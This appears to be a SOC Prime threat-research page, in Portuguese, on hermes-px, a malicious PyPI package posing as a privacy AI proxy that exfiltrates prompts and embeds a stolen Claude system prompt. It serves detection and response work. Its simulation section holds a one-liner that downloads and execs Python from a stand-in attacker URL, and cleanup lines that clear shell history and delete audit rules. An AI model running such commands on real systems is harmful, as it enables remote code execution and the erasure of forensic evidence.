SOC Prime Bias: Critical

08 Apr 2026 15:28 UTC

hermes-px: Um Proxy de Privacidade Falso Exfiltrando Prompts e Manipulando Código Claude

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
hermes-px: Um Proxy de Privacidade Falso Exfiltrando Prompts e Manipulando Código Claude
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Pesquisa de Segurança da JFrog identificou um pacote PyPI malicioso, hermes-px, se passando por um proxy de inferência de IA que prioriza a privacidade. Em vez de proteger os usuários, ele roteia o tráfego através do Tor para um endpoint de IA em uma universidade não autorizada, substitui ou reescreve mensagens do sistema e exfiltra prompts e respostas de modelos para um back-end do Supabase. O pacote também incorpora um prompt roubado e rebatizado do sistema Anthropic Claude, reforçando a enganação. hermes-px é distribuído via PyPI público e é instalável via fluxos de trabalho pip padrão, facilitando sua inclusão em ambientes de desenvolvedores.

Investigação

Os pesquisadores revisaram o código fonte e encontraram três camadas de criptografia usadas para ocultar strings sensíveis, juntamente com uma chave de API do Supabase embutida e um componente de Telemetria que transmite dados diretamente pela internet pública. O endpoint rio despejado resolve-se para uma API privada de universidade protegida por Azure WAF, indicando abuso de infraestrutura não destinada a proxy público. A documentação do projeto ainda incentiva os usuários a buscar e executar código adicional de uma URL do GitHub, ampliando o risco além do próprio pacote. Para se integrar aos padrões normais de desenvolvimento, hermes-px imita a interface do SDK Python do OpenAI, reduzindo suspeitas durante a integração.

Mitigação

Remova o hermes-px de todos os ambientes e bloqueie as fontes de dependência para evitar reinstalação. Atualize quaisquer credenciais que possam ter sido expostas em prompts, configurações ou logs, e bloqueie o acesso ao domínio de exfiltração do Supabase e outros URLs maliciosos identificados. Se o Tor foi instalado especificamente para suportar esta ferramenta, remova-o e revise os controles de rede relacionados. Assuma que os prompts podem conter dados sensíveis e revise qualquer conteúdo capturado em busca de segredos, tokens ou informações reguladas.

Resposta

Procure instalações do hermes-px usando inventários de pacotes e bases de estações de trabalho de desenvolvedores, então alerte sobre conexões de saída para supabase.co e o endpoint de API da universidade identificado. Quarentena os hosts afetados, preserve artefatos relevantes (arquivos de pacotes, histórico de terminal, arquivos de bloqueio de dependência) e identifique a exposição determinando quais prompts e respostas foram transmitidos. Notifique usuários impactados e, se aplicável, a(s) instituição(ões) afetada(s), e atualize as detecções para sinalizar clones de SDK, comportamento de proxy mediado por Tor e módulos de telemetria suspeitos em pacotes Python.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>Técnica</b> – <b>T1204 Execução de Usuário</b><br/>Vítima executa comando malicioso (por exemplo, pip install hermes-px)<br/><b>Descrição</b>: Execução de código malicioso convencendo um usuário a executá-lo."] class tech_user_exec technique tech_supply_chain["<b>Técnica</b> – <b>T1195.002 Comprometimento da Cadeia de Suprimento de Software</b><br/>Pacote PyPI malicioso publicado para sequestrar cadeia de dependência<br/><b>Descrição</b>: Adversário injeta código malicioso em uma cadeia de suprimento de software."] class tech_supply_chain technique tech_python["<b>Técnica</b> – <b>T1059.006 Python</b><br/>Código Python malicioso executado após instalação<br/><b>Descrição</b>: Uso do interpretador Python para executar comandos."] class tech_python technique tech_proxy_ext["<b>Técnica</b> – <b>T1090.002 Proxy Externo</b><br/>Tráfego roteado através de um nó de saída do Tor<br/><b>Descrição</b>: Uso de um serviço de proxy externo para ocultar a origem do tráfego de rede."] class tech_proxy_ext technique tech_proxy_multi["<b>Técnica</b> – <b>T1090.003 Proxy Multi-Hop</b><br/>Múltiplos saltos no Tor para anonimato<br/><b>Descrição</b>: Encadeamento de vários proxies para esconder ainda mais a fonte do tráfego."] class tech_proxy_multi technique tech_web_proto["<b>Técnica</b> – <b>T1071.001 Protocolos Web</b><br/>Pedidos HTTP para uma API de IA de universidade privada<br/><b>Descrição</b>: Uso de protocolos web para comunicação de comando e controle."] class tech_web_proto technique tech_obfuscation["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscados</b><br/>Strings criptografadas decodificadas em tempo de execução<br/><b>Descrição</b>: Ocultar código malicioso usando criptografia ou codificação."] class tech_obfuscation technique tech_dynamic_api["<b>Técnica</b> – <b>T1027.007 Resolução de API Dinâmica</b><br/>Endereços de API resolvidos dinamicamente em tempo de execução<br/><b>Descrição</b>: Resolver e invocar APIs em tempo de execução para evitar detecção estática."] class tech_dynamic_api technique tech_exfil["<b>Técnica</b> – <b>T1567 Exfiltração por Serviço Web</b><br/>Dados enviados para endpoint do Supabase do atacante<br/><b>Descrição</b>: Transferência de dados para serviços web externos controlados pelo adversário."] class tech_exfil technique tech_subvert_trust["<b>Técnica</b> – <b>T1553 Subversão de Controles de Confiança</b><br/>Organização falsa e documentação polida usadas para atrair vítimas<br/><b>Descrição</b>: Manipular relações de confiança para facilitar o comprometimento."] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|executa| tech_supply_chain tech_supply_chain –>|entrega| tech_python tech_python –>|usa| tech_proxy_ext tech_proxy_ext –>|encadeia para| tech_proxy_multi tech_proxy_multi –>|comunica via| tech_web_proto tech_web_proto –>|usa| tech_obfuscation tech_web_proto –>|usa| tech_dynamic_api tech_obfuscation –>|ativa| tech_exfil tech_dynamic_api –>|ativa| tech_exfil tech_python –>|ativa| tech_subvert_trust "

Fluxo de Ataque

Detecções

Possível Infiltração/Exfiltração de Dados/C2 via Serviços de Terceiros/Ferramentas (via proxy)

Equipe SOC Prime
07 Abr 2026

Possível Infiltração/Exfiltração de Dados/C2 via Serviços de Terceiros/Ferramentas (via dns)

Equipe SOC Prime
07 Abr 2026

Possível Download de Arquivo do Github Iniciado por Processo Incomum (via network_connection)

Equipe SOC Prime
07 Abr 2026

IOCs (HashSha1) para detectar: hermes-px: O Proxy de IA ‘Privacidade’ Que Rouba Seus Requests, Contendo Código Alterado Claude Code System Prompt

Regras de IA SOC Prime
07 Abr 2026

Sequestro de Endpoint de API Malicioso para Inferência de IA [Servidor Web]

Regras de IA SOC Prime
07 Abr 2026

Execução de Script Python Suspeito do GitHub [Criação de Processo Linux]

Regras de IA SOC Prime
07 Abr 2026

Execução de Simulação

Pré-requisito: O teste pré-vôo de Telemetria e Linha de Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

  • Narrativa e Comandos do Ataque:
    Um invasor obteve um payload malicioso Python hospedado em um repositório público do GitHub. Para evitar escrever arquivos no disco (reduzindo a pegada forense), ele usa um comando Python de linha única que:

    1. Chama urllib.request.urlopen() para baixar o conteúdo bruto do script do GitHub.
    2. Lê a resposta e passa os bytes para exec() para execução imediata.
    3. Executa o comando em um host Linux comprometido onde o invasor já possui um shell de baixo privilégio.

    Este padrão exato (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") corresponde aos critérios de string da regra de detecção.

  • Script de Teste de Regressão:

    #!/bin/bash
    #
    # Simular execução maliciosa de Python que deve acionar a regra Sigma.
    #
    MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
    python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

    Salve este script como trigger_detection.sh, torne-o executável (chmod +x trigger_detection.sh) e execute-o no host de destino.

  • Comandos de Limpeza:

    # Nenhum artefato persistente é criado, mas certifique-se de que o terminal esteja limpo.
    history -c                     # Limpar o histórico de comandos da sessão atual
    sudo auditctl -D               # (Opcional) Remover todas as regras de auditoria em tempo de execução se você as adicionou apenas para teste
    # Se você adicionou uma regra persistente em /etc/audit/rules.d/, considere removê-la:
    # sudo rm /etc/audit/rules.d/process_creation.rules